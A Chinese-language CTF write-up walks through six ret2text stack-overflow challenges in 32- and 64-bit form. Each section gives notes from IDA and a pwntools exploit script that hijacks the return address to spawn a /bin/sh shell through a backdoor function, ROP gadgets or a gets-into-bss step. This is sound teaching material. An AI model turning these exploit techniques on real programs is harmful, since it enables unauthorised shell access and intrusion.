ret2text_32_64

ret2text1_32
checksec

ida 查看，存在溢出，程序中存在 system('/bin/sh')

function

back_door

back_door 函数地址

exp

#!/usr/bin/env python
#-*- coding:utf-8 -*-
from pwn import *

p = process('./ret2text1_32')

back_door= 0x0804846B

payload = 'A' * 0x14
payload += p32(0)
payload += p32(back_door)

p.sendline(payload)
p.interactive()

ret2text1_64
思路与32位一致

checksec

ida 查看，存在溢出，程序中存在 system('/bin/sh')

function

back_door

back_door 函数地址

exp

#!/usr/bin/env python
#-*- coding:utf-8 -*-
from pwn import *

p = process('./ret2text1_64')

back_door = 0x04005B6

payload = 'A' * 0x10
payload += p64(0)
payload += p64(back_door)

p.sendline(payload)
p.interactive()

ret2text2_32
checksec

ida 查看，同样的溢出点，在 back_door 函数里发现 system，但是参数不对

function

back_door

shift+f12查看，发现 $0 （也可以直接在data数据域中查找），将$0写入 system

shift+f12

data

右键转换成 data，找$0的地址

system 地址

exp

#!/usr/bin/env python
#-*- coding:utf-8 -*-
from pwn import *

p = process('./ret2text2_32')

bin_sh = 0x0804A04B  # $0
system = 0x08048340

payload = 'A' * 0x14
payload += p32(0)
payload += p32(system)
payload += p32(0)
payload += p32(bin_sh) 

p.sendline(payload)
p.interactive()

ret2text2_64
思路与32位一致

checksec

function

进入 back_door 函数，system 的参数有点皮

back_door

shift + f12，发现$0，地址为 0x0601070

利用 ROPgadget 找可用的 gadget

exp

#!/usr/bin/env python
#-*- coding:utf-8 -*-
from pwn import *

p = process('./ret2text2_64')

system = 0x0400480
bin_sh = 0x0601070  # $0
pop_rdi = 0x0400683

payload = 'A' * 0x10
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(system)

p.sendline(payload)
p.interactive()

ret2text3_32
checksec

image.png

ida 查看，存在溢出，找到 system 函数，但是程序中没有可用的 /bin/sh 或者$0，只能自己构造

main

system

选择在 bss 段的 buf2 写入,再将 buf2 的地址作为 system 的参数传入来获取 shell

gets 地址

gets

system 地址

system

exp

#!/usr/bin/env python
#-*- coding:utf-8 -*-
from pwn import *

p = process('./ret2text3_32')

gets = 0x08048460
system = 0x08048490
buf2 = 0x0804A080

payload = 'A' * 112
payload += p32(gets)
payload += p32(system)
payload += p32(buf2)
payload += p32(buf2)

p.sendline(payload)
p.sendline('/bin/sh\x00')
p.interactive()

ret2text3_64
思路与32位一致

checksec

ida查看，存在溢出，存在 system，但是程序中没有可用的 /bin/sh 或者$0，只能自己构造

function

back_door

system

还是选择在 bss 段中写入

bss

找可用的 gadget

exp

#!/usr/bin/env python
#-*- coding:utf-8 -*-
from pwn import *

p = process('./ret2text3_64')

gets = 0x04004A0
system = 0x0400480 
bss = 0x0601048
pop_rdi = 0x0400683

payload = 'A' * 0x10
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(bss)
payload += p64(gets)
payload += p64(pop_rdi)
payload += p64(bss)
payload += p64(system)

p.sendline(payload)
p.sendline('/bin/sh\x00')
p.interactive()